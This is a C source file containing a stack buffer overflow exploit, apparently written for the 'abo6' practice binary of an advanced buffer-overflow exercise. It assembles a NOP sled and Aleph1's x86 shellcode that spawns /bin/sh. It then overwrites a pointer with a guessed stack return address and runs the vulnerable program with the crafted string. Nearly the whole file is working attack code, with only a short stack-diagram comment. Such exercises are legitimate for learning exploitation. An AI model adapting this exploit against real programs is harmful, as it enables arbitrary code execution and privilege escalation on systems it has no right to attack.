#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Stack diagram:
 * 
 * RET ..... NNNNNNNNNNNNNNNNNNNNNNN SSSSSSSSSSSSSSSS pbuf
 * ret stuff nop opcodes             shell code       
 *  
 * second strcpy() return address
 * some stuff...
 * 211 bytes NOPs (buf)
 * 45 bytes shell code
 * 4 bytes (pbuf) pointer to strcpy() ret addr
 */

#define MAX_BUFFER 256
#define NOP 0x90

char shellcode[] =	/* Aleph1's */
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp,%eax");
}

int main(int argc, char* argv[])
{
	char *buf, *ptr;
	long *addr_ptr;
	long ret_addr;
	int i, c;
	char addr[5];
	int ofs = -16;
	int ofs2 = 0;

	if (argc > 1) ofs = atoi(argv[1]);
	if (argc > 2) ofs2 = atoi(argv[2]);
	
	if (!(buf = (char*) malloc(MAX_BUFFER+500))) {
		printf("Memory allocation error\n");
		exit(0);
	}
	ptr = buf;
	
	for (i = 0; i < MAX_BUFFER-strlen(shellcode); i++)
		*ptr++ = NOP;

	for (c = 0; c < strlen(shellcode); c++)
		*ptr++ = shellcode[c];
	
	ret_addr = 0xbffff820 + ofs;
	printf("Using return address 0x%x, offset %d\n", ret_addr, ofs);
	
	addr_ptr = (long*) ptr;
	*addr_ptr++ = ret_addr;			/* overwrite pbuf with the return address */

	ptr = (char*)addr_ptr;
	*ptr = '\0';
	
	addr_ptr = (long*) addr;
	*addr_ptr = get_sp() - MAX_BUFFER + ofs2;
	printf("Using shellcode at 0x%x\n", *addr_ptr);
	addr[4] = '\0';

	printf("Exploit string is %d bytes long\n", strlen(buf));
	execl("./abo6", "abo6", buf, addr, NULL);
}
